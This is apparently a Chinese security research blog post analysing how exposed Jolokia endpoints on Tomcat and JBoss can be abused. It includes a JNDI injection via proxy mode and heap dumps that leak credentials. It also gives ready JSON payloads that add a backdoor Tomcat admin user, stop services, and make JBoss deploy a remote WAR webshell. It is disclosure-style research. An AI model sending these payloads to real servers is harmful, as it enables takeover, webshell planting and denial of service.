作者:RicterZ@云鼎实验室
来源:http://mp.weixin.qq.com/s/blpFK0oigTGtI_eVJxEL0w
Jolokia 是一个通过 HTTP 的 JMX 连接器,提供了类 RESTful 的操作方式,可以通过 POST JSON 的方式访问和修改 JMX 属性、执行 JMX 操作、搜索 MBean、列出 MBean 的 Meta-data 等。
Jolokia 支持提供了多种 Agents,包括 WAR Agent、OSGi Agent、JVM Agent 或者 Mule Agent。其中 WAR Agent 支持了多种 Web Server:
通过 Jolokia,可以方便的操作 MBean,通过 GET 的例子:
ricter@ricter-dev:~$ curl -s http://localhost:8080/jolokia/read/java.lang:type=Memory/HeapMemoryUsage | jq { "request": { "mbean": "java.lang:type=Memory", "attribute": "HeapMemoryUsage", "type": "read" }, "value": { "init": 94371840, "committed": 91226112, "max": 129761280, "used": 32536960 }, "timestamp": 1522138479, "status": 200 }
或者 POST 一个 JSON:
ricter@ricter-dev:~$ curl -s http://localhost:8080/jolokia/ --data ' { > "mbean":"java.lang:type=Memory", > "attribute":"HeapMemoryUsage", > "type":"READ" > }' | jq { "request": { "mbean": "java.lang:type=Memory", "attribute": "HeapMemoryUsage", "type": "read" }, "value": { "init": 94371840, "committed": 91226112, "max": 129761280, "used": 33277720 }, "timestamp": 1522138552, "status": 200 }
Jolokia 支持 READ、WRITE、SEARCH、EXEC、LIST 等操作,具体可以参考官方文档:Jolokia - Reference Documentation 。
Jolokia 支持一个叫做代理模式(Proxy Mode)的东西,是为了解决不能将 Jolokia Agent 部署在目标平台上的问题。具体架构如下:
可以通过向 Jolokia 发送 POST 请求来触发:
{ "type":"READ" "mbean":"java.lang:type=Threading", "attribute":"ThreadCount", "target": { "url":"service:jmx:rmi:///jndi/rmi://hostname:1234/jmxrmi", } }
熟悉 Java 安全的朋友可能会注意到,这里可能有一个 JNDI 注入。的确,在 WAR Agent 的情况下,此处存在一个 JNDI 注入,问题发生在 agent\jsr160\src\main\java\org\jolokia\jsr160\Jsr160RequestDispatcher.java
:
public Object dispatchRequest(JmxRequest pJmxReq) throws InstanceNotFoundException, AttributeNotFoundException, ReflectionException, MBeanException, IOException, NotChangedException { JsonRequestHandler handler = requestHandlerManager.getRequestHandler(pJmxReq.getType()); JMXConnector connector = null; try { connector = createConnector(pJmxReq); connector.connect(); ....
当 Web Container 将请求的交由 Jsr160RequestDispatcher
处理时,Jolokia Agent 创建连接,导致 JNDI 注入。在 WAR Agent 里,默认是由 Jsr160RequestDispatcher
处理的,这一点在 web.xml 也有体现:
<servlet-name>jolokia-agent</servlet-name> <servlet-class>org.jolokia.http.AgentServlet</servlet-class> <init-param> <description> Class names (comma separated) of RequestDispatcher used in addition to the LocalRequestDispatcher </description> <param-name>dispatcherClasses</param-name> <param-value>org.jolokia.jsr160.Jsr160RequestDispatcher</param-value> </init-param>
那么,攻击者只需发送一个带有 Evil JMXRMI 的地址的 JSON,即可利用 JNDI 在目标机器上执行命令。
Jolokia 中有一个默认注册的 MBean:com.sun.management:type=HotSpotDiagnostic
,这个 MBean 中存在 dumpHeap 方法,可以 dump 内存到指定的目录。同时在低版本的 Java 中(比如 1.8.0_11),导出的文件名可以设置任意名称,而非 .hprof
后缀。
下载后可以通过分析文件获取一些敏感信息:
如上图就获得了 Tomcat 管理员的账号密码,可以通过部署 WAR 文件的方式进行 getshell。
部署了 Jolokia 后,可以访问 /jolokia/list
查看可用的 MBean,通过翻阅可以发现 Tomcat + Jolokia 的情况下存在一些敏感操作,比如关闭服务:
{ "type": "EXEC", "mbean": "Catalina:type=Service", "operation": "stop", "arguments": [] }
这样会造成 DoS,虽然没啥用。
问题在 User:database=UserDatabase,type=UserDatabase
下,其包括了 createRole
、createUser
等操作,攻击流程为:
// 创建 manager-gui { "type": "EXEC", "mbean": "Users:database=UserDatabase,type=UserDatabase", "operation": "createRole", "arguments": ["manager-gui", ""] } // 创建用户 { "type": "EXEC", "mbean": "Users:database=UserDatabase,type=UserDatabase", "operation": "createUser", "arguments": ["test233", "test233", ""] } // 增加角色 { "type": "EXEC", "mbean": "Users:database=UserDatabase,type=User,username=\"test233\"", "operation": "addRole", "arguments": ["manager-gui"] }
接着利用 test233 / test233 登陆即可。
关闭服务:
{ "type": "EXEC", "mbean": "jboss.web.deployment:war=/ROOT", "operation": "stop", "arguments": [] }
JBoss 中,通过 JMX Console 部署 WAR 是最为人所知的,JBoss 中的 jboss.system:service=MainDeployer
提供了这个方法。由于此方法是重载的,所以需要指定一个 signature,也就是下图的deploy(java.lang.String)
:
{ "type": "EXEC", "mbean": "jboss.system:service=MainDeployer", "operation": "deploy(java.lang.String)", "arguments": ["http://127.0.0.1:1235/test.war"] }
接着通过访问 /test
即可进入 webshell。
Weblogic 暴露出很多 MBean,但是有一些方法存在限制:
weblogic.management.NoAccessRuntimeException: Access not allowed for subject: principals=[], on ResourceType: WLDFImageRuntime Action: execute, Target: captureImage
可能会有其他的 MBean 可以进行操作,但是由于 MBean 繁多,没有太多精力去看。Jetty 没有暴露什么 MBean,所以暂时没有什么方法。ActiveMQ 有一些 MBean,粗略看了下没有发现什么问题,如果大家发现了,可以多多交流。
写在最后:Jolokia 可以暴露出更多的攻击面,通过这些攻击面进行操作来获取更高的权限,本文仅仅分析了部分 Java EE Servers 所呈现出来的 MBean,但是由于 Jolokia 支持多种 Agent,所以暴露出的东西不止如此。
此外,这次分析仅仅是在业务层面上进行分析,没有跟进到源码层面。可能会有如下情况:某个 MBean 进行了 JNDI lookup,或者远程下载文件保存在本地,反序列化某一些内容等等,通过 Jolokia 进行操作可以二次利用这些问题来 RCE。这就需要具体情况具体分析了,本文如有错误,欢迎指正 :D